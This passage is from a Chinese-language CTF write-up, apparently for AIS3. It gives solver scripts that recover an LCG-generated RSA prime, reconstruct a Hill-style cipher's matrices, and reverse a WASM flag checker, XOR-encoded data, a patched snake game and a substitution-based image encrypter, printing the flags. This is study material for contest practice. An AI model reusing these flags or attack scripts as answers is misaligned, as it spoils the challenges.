n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

rng = lambda x: (a*x + b) % M
drng = lambda x: (x - b) * pow(a, -1, M) % M

a = (h2 - h1) * pow(h1 - h0, -1, M) % M
b = (h1 - a * h0) % M

seed = drng(h0)

assert rng(seed) == h0
assert rng(h0) == h1
assert rng(h1) == h2

F = GF(M)
N = F(n)
a = F(a)
b = F(b)

R = PolynomialRing(F, 'pp')
pp = R.gen()

q = pp

for i in trange(500):
    q = a*q + b
    poly = pp * q - N
    for x in poly.roots(ring=F, multiplicities=False):
        if n % int(x) == 0:
            p = int(x)
            q = int(n // x)
            phi = (p - 1) * (q - 1)
            phi = int(phi)
            assert phi + p + q - 1 == n
            d = pow(e, -1, phi)
            assert d * e % phi == 1
            print(long_to_bytes(pow(c, d, n)))
            exit(0)

Hill
#

欸我不知道這體怎麼用數學寫wp欸,亂寫好了

第一塊的加密方式為:

$A \cdot P_0$

其餘為:

$A \cdot P_i + B \cdot P_{i-1}$

假設收到十組資料,形式如下
$C_{k_0} = A \cdot P_{k_0} + B \cdot P_{k_0-1}$ $C_{k_1} = A \cdot P_{k_1} + B \cdot P_{k_1-1}$ $\vdots$ $C_{k_8} = A \cdot P_{k_8} + B \cdot P_{k_8-1}$

我們知道:

$P_{k_0-1}=P_{k_1-1}= \cdots= P_{k_8-1}$

那麼取任意兩組相減,得到的這八組資料如果線性獨立就可以得到拿到$A$

$C_{k_1}-C_{k_0} = A \cdot (P_{k_1} - P_{k_0})$ $C_{k_2}-C_{k_1} = A \cdot (P_{k_2} - P_{k_1})$ $\vdots$ $C_{k_8}-C_{k_7} = A \cdot (P_{k_8} - P_{k_7})$

然後一旦我們得到了$A$,求$B$就簡單了
取任意八組資料減去當前的明文$\cdot A$的值

$C_{l_0} - A \cdot P_{l_0} = B \cdot P_{l_0-1}$ $C_{l_1} - A \cdot P_{l_1} = B \cdot P_{l_1-1}$ $\vdots$ $C_{l_7} - A \cdot P_{l_7} = B \cdot P_{l_7-1}$

${P_{k_0-1},P_{k_1-1},\cdots,P_{k_7-1}}線性獨立$,就可以拿到$B$了(應該

解密方法

第一塊:

$A^{-1} \cdot C_0$

其餘為:

$A^{-1} \cdot (C_i -B \cdot C_{i-1})$

from sage.all import *

'''
[ 49 130   2  45 130 208  69  83]
[240 109  83 249 107 191  64 177]
[111  98 222  15  95  30  32 124]
[228  34  46 214  73 229  70  27]
[250   1 110   8  62  32  72 223]
'''

data = [
    [18, 204, 1, 230, 141, 72, 192, 46],
    [217, 180, 71, 202, 88, 102, 101, 225],
    [88, 74, 198, 246, 21, 128, 135, 127],
    [96, 18, 205, 191, 99, 176, 165, 5],
    [158, 53, 235, 73, 201, 181, 208, 101],
    [151, 0, 178, 127, 70, 54, 180, 11],
    [75, 213, 10, 134, 76, 180, 83, 210],
    [121, 19, 4, 241, 135, 121, 121, 23],
    [69, 34, 157, 178, 80, 44, 207, 247],
    [55, 140, 74, 2, 63, 167, 191, 244],
    [86, 211, 167, 16, 176, 181, 22, 102],
    [222, 203, 93, 58, 80, 24, 19, 239],
    [44, 87, 227, 175, 209, 70, 9, 134],
    [97, 63, 239, 185, 153, 160, 70, 129],
    [49, 64, 112, 43, 91, 217, 198, 174],
    [57, 35, 112, 12, 242, 224, 206, 121],
    [126, 238, 198, 209, 165, 97, 210, 64],
    [245, 81, 69, 123, 5, 44, 225, 248],
    [32, 120, 58, 125, 157, 16, 97, 172],
    [124, 122, 65, 190, 79, 155, 54, 139],
    [226, 184, 172, 194, 240, 49, 8, 134],
    [222, 62, 222, 44, 14, 67, 30, 150],
    [189, 35, 205, 77, 9, 229, 43, 195],
    [187, 18, 228, 125, 191, 153, 115, 27],
    [93, 26, 131, 132, 95, 4, 187, 180],
    [180, 160, 222, 10, 92, 75, 218, 210],
    [121, 206, 13, 244, 189, 120, 194, 76],
    [186, 54, 87, 192, 148, 69, 78, 149],
    [32, 199, 80, 88, 14, 161, 18, 48],
    [124, 110, 185, 193, 81, 37, 182, 69],
    [61, 123, 125, 217, 238, 153, 248, 194],
    [97, 141, 153, 25, 124, 50, 89, 20],
    [182, 188, 129, 235, 90, 158, 246, 16],
    [66, 61, 37, 31, 140, 244, 124, 201],
    [64, 69, 51, 75, 11, 215, 30, 80],
    [185, 177, 145, 179, 185, 161, 101, 245],
    [189, 21, 114, 198, 212, 117, 218, 122],
    [32, 59, 199, 71, 225, 188, 89, 216],
    [84, 120, 10, 190, 116, 42, 179, 52],
    [35, 38, 131, 53, 132, 19, 240, 176],
    [29, 237, 222, 175, 249, 241, 84, 11],
    [18, 249, 180, 195, 246, 128, 239, 164],
    [19, 14, 71, 85, 228, 55, 235, 240],
    [151, 20, 72, 217, 18, 33, 160, 240],
    [214, 118, 32, 152, 94, 16, 190, 87],
    [170, 12, 74, 26, 189, 99, 5, 11],
    [55, 127, 206, 227, 162, 40, 27, 80],
    [72, 84, 168, 216, 209, 165, 137, 235],
    [33, 70, 150, 214, 24, 118, 45, 77],
    [14, 13, 133, 99, 69, 115, 74, 250],
    [101, 48, 69, 44, 228, 177, 141, 234],
    [58, 249, 250, 154, 249, 164, 68, 135],
    [59, 42, 222, 249, 175, 61, 152, 142],
    [198, 189, 81, 139, 248, 128, 87, 166],
    [186, 19, 217, 173, 97, 11, 114, 191],
    [82, 101, 134, 140, 46, 250, 28, 14],
    [56, 121, 122, 184, 83, 218, 191, 77],
    [198, 220, 200, 190, 13, 203, 129, 190],
    [72, 43, 30, 167, 225, 233, 0, 176],
    [148, 49, 216, 199, 244, 23, 4, 82],
    [76, 32, 56, 63, 242, 55, 178, 241],
    [248, 84, 188, 109, 7, 74, 107, 63],
    [108, 59, 59, 175, 74, 118, 95, 102],
    [34, 14, 14, 248, 19, 78, 124, 245],
    [154, 198, 15, 159, 106, 156, 12, 57],
    [95, 165, 189, 195, 30, 208, 32, 242],
    [78, 206, 4, 118, 22, 180, 56, 5],
    [174, 66, 192, 182, 187, 115, 176, 49],
    [208, 176, 123, 175, 143, 100, 231, 181],
    [173, 190, 11, 93, 77, 147, 101, 137],
    [193, 145, 38, 53, 210, 158, 39, 185],
    [227, 167, 163, 136, 143, 70, 138, 220],
    [120, 164, 164, 57, 239, 15, 185, 190],
    [72, 141, 124, 186, 124, 216, 200, 87],
    [116, 9, 168, 54, 52, 244, 49, 234],
    [183, 184, 208, 213, 183, 73, 95, 88],
    [204, 101, 84, 176, 65, 170, 213, 186],
    [119, 193, 141, 71, 111, 195, 3, 77],
    [213, 194, 222, 85, 178, 206, 62, 199],
    [86, 101, 192, 232, 246, 31, 158, 189]
]

inp = b'dddddddd8D4nYshtddddddddKl1kVfJgddddddddevHaGaP1ddddddddfhDLSqQHddddddddQjfPdlwOdddddddd1sdjvz4vdddddddd4t0bNKsgddddddddru3jqnxJdddddddd5CIkWpSrddddddddq0GLRt9eddddddddaFPpVUpzddddddddVg6EcaBmddddddddDMfcvDWuddddddddUMfUdAJiddddddddDJLZDL25dddddddd5x19AlxOddddddddFy7YsXc4ddddddddQzFBocz5ddddddddRnfylfgJddddddddkGnMNky9ddddddddLWskX9UVddddddddKGC4pYbCddddddddweI2OuL2ddddddddXyIrdyhFddddddddoOhBY9uydddddddd3JRg266FddddddddhOBh2PR4dddddddd42bYN3EsddddddddXN5XCPpnddddddddQHeFoRKrddddddddc8kL3LjIddddddddlMGoWlnMddddddddgkLO4MhOdddddddd8wKOvPP2ddddddddwaTznnN1ddddddddzy1eNT54ddddddddBrDmHslqdddddddd4gIn8KJlddddddddtEEszKnxddddddddOLXr6w6q'
inp = [inp[i:i+8] for i in range(0, len(inp), 8)]

# recover A
p = 251
F = GF(p)


Pa = [[0 for _ in range(8)] for __ in range(8)]
Va = [[0 for _ in range(8)] for __ in range(8)]

for i in range(8):
    V = vector(F, list(inp[i * 2 + 1]))
    V2 = vector(F, list(inp[i * 2 + 3]))
    for j in range(8):
        Pa[i][j] = list(V2 - V)
        Va[i][j] = data[i * 2 + 3][j] - data[i * 2 + 1][j]

A = []
for j in range(8):
    M = []
    V = []
    for i in range(8):
        M.append(Pa[i][j])
        V.append(Va[i][j])
        
    M = Matrix(F, M)
    V = vector(F, V)
    A.append(M.solve_right(V))


A = Matrix(F, A)
Pb = [[0 for _ in range(8)] for __ in range(8)]
Vb = [[0 for _ in range(8)] for __ in range(8)]

# recover B

for i in range(8):
    V = vector(list(inp[i * 2 + 2]))
    prev = vector(list(inp[i * 2 + 1]))
    print(prev)

    for j in range(8):
        Pb[i][j] = list(prev)
        Vb[i][j] = data[i * 2 + 2][j] - (A*V)[j]# A + prev * B - A

B = []
for j in range(8):
    M = []
    V = []
    for i in range(8):
        M.append(Pb[i][j])
        V.append(Vb[i][j])
    M = Matrix(F, M)
    V = vector(F, V)
    B.append(M.solve_right(V))

B = Matrix(F, B)

# decrypt

def decrypt_blocks(ciphertext, A, B):
    A_inv = A.inverse() 
    blocks = []
    for i in range(len(ciphertext)):
        C = vector(F, ciphertext[i])
        if i == 0:
            M = A_inv * C
        else:
            prev = vector(F, blocks[i - 1])
            M = A_inv * (C - B * prev)
        blocks.append(M)
    return blocks

ciphertext = [
    [49, 130, 2, 45, 130, 208, 69, 83],
    [240, 109, 83, 249, 107, 191, 64, 177],
    [111, 98, 222, 15, 95, 30, 32, 124],
    [228, 34, 46, 214, 73, 229, 70, 27],
    [250, 1, 110, 8, 62, 32, 72, 223]
]

for l in decrypt_blocks(ciphertext, A, B):
    print(bytes(l).decode(),end="")

我盡力了…,下次還是叫我的AI好幫手寫好了

REV
#

web flag checker
#

先找找看有沒有工具可以decompile
好欸有欸 -> https://github.com/WebAssembly/wabt

然後這邊我拔出了兩個名稱比較可疑的函數

function f_i(a:long, b:int):long { // func8
  var c:int = g_a;
  var d:int = 16;
  var e:int = c - d;
  e[1]:long = a;
  e[1]:int = b;
  var f:long = e[1]:long;
  var g:int = e[1]:int;
  var h:int = g;
  var i:long = i64_extend_i32_u(h);
  var j:long = f << i;
  var k:long = e[1]:long;
  var l:int = e[1]:int;
  var m:int = 64;
  var n:int = m - l;
  var o:int = n;
  var p:long = i64_extend_i32_u(o);
  var q:long = k >> p;
  var r:long = j | q;
  return r;
}

export function flagchecker(a:int):int { // func9
  var b:int = g_a;
  var c:int = 96;
  var d:int = b - c;
  g_a = d;
  d[22]:int = a;
  var e:int = -39934163;
  d[21]:int = e;
  var f:int = 64;
  var g:long_ptr = d + f;
  var h:long = 0L;
  g[0] = h;
  var i:int = 56;
  var j:long_ptr = d + i;
  j[0] = h;
  var k:int = 48;
  var l:long_ptr = d + k;
  l[0] = h;
  d[5]:long = h;
  d[4]:long = h;
  var m:long = 7577352992956835434L;
  d[4]:long = m;
  var n:long = 7148661717033493303L;
  d[5]:long = n;
  var o:long = -7081446828746089091L;
  d[6]:long = o;
  var p:long = -7479441386887439825L;
  d[7]:long = p;
  var q:long = 8046961146294847270L;
  d[8]:long = q;
  var r:int = d[22]:int;
  var s:int = 0;
  var t:int = r != s;
  var u:int = 1;
  var v:int = t & u;
  if (eqz(v)) goto B_c;
  var w:int = d[22]:int;
  var x:int = f_n(w);
  var y:int = 40;
  var z:int = x != y;
  var aa:int = 1;
  var ba:int = z & aa;
  if (eqz(ba)) goto B_b;
  label B_c:
  var ca:int = 0;
  d[23]:int = ca;
  goto B_a;
  label B_b:
  var da:int = d[22]:int;
  d[7]:int = da;
  var ea:int = 0;
  d[6]:int = ea;
  loop L_e {
    var fa:int = d[6]:int;
    var ga:int = 5;
    var ha:int = fa < ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (eqz(ja)) goto B_d;
    var ka:int = d[7]:int;
    var la:int = d[6]:int;
    var ma:int = 3;
    var na:int = la << ma;
    var oa:long_ptr = ka + na;
    var pa:long = oa[0];
    d[2]:long = pa;
    var qa:int = d[6]:int;
    var ra:int = 6;
    var sa:int = qa * ra;
    var ta:int = -39934163;
    var ua:int = ta >> sa;
    var va:int = 63;
    var wa:int = ua & va;
    d[3]:int = wa;
    var xa:long = d[2]:long;
    var ya:int = d[3]:int;
    var za:long = f_i(xa, ya);
    var ab:int = d[6]:int;
    var bb:int = 32;
    var cb:int = d + bb;
    var db:int = cb;
    var eb:int = 3;
    var fb:int = ab << eb;
    var gb:long_ptr = db + fb;
    var hb:long = gb[0];
    var ib:int = za != hb;
    var jb:int = 1;
    var kb:int = ib & jb;
    if (eqz(kb)) goto B_f;
    var lb:int = 0;
    d[23]:int = lb;
    goto B_a;
    label B_f:
    var mb:int = d[6]:int;
    var nb:int = 1;
    var ob:int = mb + nb;
    d[6]:int = ob;
    continue L_e;
  }
  label B_d:
  var pb:int = 1;
  d[23]:int = pb;
  label B_a:
  var qb:int = d[23]:int;
  var rb:int = 96;
  var sb:int = d + rb;
  g_a = sb;
  return qb;
}

太亂了誰要自己讀

call我們的好朋友幫我們反混淆

function rol64(a: long, b: int): long {
  let shift = b & 63;
  return (a << shift) | (a >>> (64 - shift));
}

function flagchecker(a: int): int {
  if (a == 0) return 0;
  if (f_n(a) != 40) return 0; // 輸入長度應為 40 bytes

  let target = [
    7577352992956835434n,
    7148661717033493303n,
    -7081446828746089091n,
    -7479441386887439825n,
    8046961146294847270n
  ];

  for (let i = 0; i < 5; i++) {
    let temp = read64(a + i * 8); // 從輸入讀第 i 段
    let shift = (-39934163 >> (i * 6)) & 63;
    if (rol64(temp, shift) != target[i]) {
      return 0;
    }
  }

  return 1;
}

但GPT解出來的東西有時候怪怪的(至少我那時候怪怪的
不過既然都知道他是ROL一些8bytes的常數,就可以去暴力旋轉他

target = [
    7577352992956835434,
    7148661717033493303,
    -7081446828746089091 & 0xFFFFFFFFFFFFFFFF,
    -7479441386887439825 & 0xFFFFFFFFFFFFFFFF,
    8046961146294847270
]
def rotr64(value: int, shift: int) -> int:
    shift &= 0x3F 
    return ((value >> shift) | (value << (64 - shift))) & 0xFFFFFFFFFFFFFFFF

from Crypto.Util.number import *

def is_ascii(s):
    for x in s:
        if x not in list(range(0x20, 0x7f)):
            return False
    return True

for i in range(5):
    for j in range(64):
        rotated = long_to_bytes(rotr64(target[i], j))
        if is_ascii(rotated):
            print(rotated[::-1])
    print()
            
            

結果

b'3{W4SAIS'
b'{W4SAIS3'
b'W4SAIS3{'
b'4SAIS3{W'
b'SAIS3{W4'
b'AIS3{W4S'
b'IS3{W4SA'
b'S3{W4SAI'

b'3rsM_R3v'
b'rsM_R3v3'
b'sM_R3v3r'
b'M_R3v3rs'
b'_R3v3rsM'
b'R3v3rsM_'
b'3v3rsM_R'
b'v3rsM_R3'

b'_w17hing'
b'w17hing_'
b'17hing_w'
b'7hing_w1'
b'hing_w17'
b'ing_w17h'
b'ng_w17hi'
b'g_w17hin'

b'4pp__g0_'
b'pp__g0_4'
b'p__g0_4p'
b'__g0_4pp'
b'_g0_4pp_'
b'g0_4pp__'
b'0_4pp__g'
b'_4pp__g0'

b'9229dd}3'
b'229dd}39'
b'29dd}392'
b'9dd}3922'
b'dd}39229'
b'd}39229d'
b'}39229dd'
b'39229dd}'

拼一拼就出來了

AIS3 Tiny Server - Reverse
#

image

這一看就知道要幹嘛了ㄅ
反正把data全部拿去xor rikki_l0v3 flag應該就噴出來了我猜

from Crypto.Util.number import *
from pwn import *

data = [
    1480073267,
    1197221906,
    254628393,
    920154,
    1343445007,
    874076697,
    1127428440,
    1510228243,
    743978009,
    54940467,
    1246382110,
]

s = b''
for d in data:
    s += p32(d)

print(xor(s, b"rikki_l0v3"))

然後就噴出flag了owob

A_simple_snake_game
#

image

函數翻一翻感覺這段很怪
然後經驗法則告訴我 一大串資料 + xor = flag

image
image

快樂patch局
這樣只要call到這個function就會執行下面那段程式
然後就會拿到flag(應該

image

好欸flag就噴出來了(但題目好像要我用CE

verysafe-image-encrypter
#

這題好像要我脫殼,但我脫一脫太累了
不如就來點密碼分析 owob

總之先檢查是否為stream cipher
加密兩張圖片,看keystream是否相同

-> 不同,所以不是stream cipher

但我加密多次同張圖片的結果相同

image
-> 某個加密結構浮現在我腦海裡(看上圖)

然後據我觀察,相同bytes出來的結果會一樣
於是我試著加密0~0x100

image

得到的密文,接下來就簡單了:D

from pwn import *

mapped = open(b'encrypted_image.png', 'rb').read()

to_plain = [0] * 0x100
for i, x in enumerate(mapped):
    to_plain[x] = i

# I renamed the original 'encrypted_image.png' to 'flag_encrypted.png'
enc = open('flag_encrypted.png','rb').read() 
plain = bytes([to_plain[x] for x in enc])
open('flag.png','wb').write(plain)

'''
AIS3{rwx_53gm3nttt_s0_5As}
'''

image

成功把REV玩成Crypto

後記
#

打完這場比賽之後我發現我是斜咖,我應該要認真學資安不要用一堆怪招打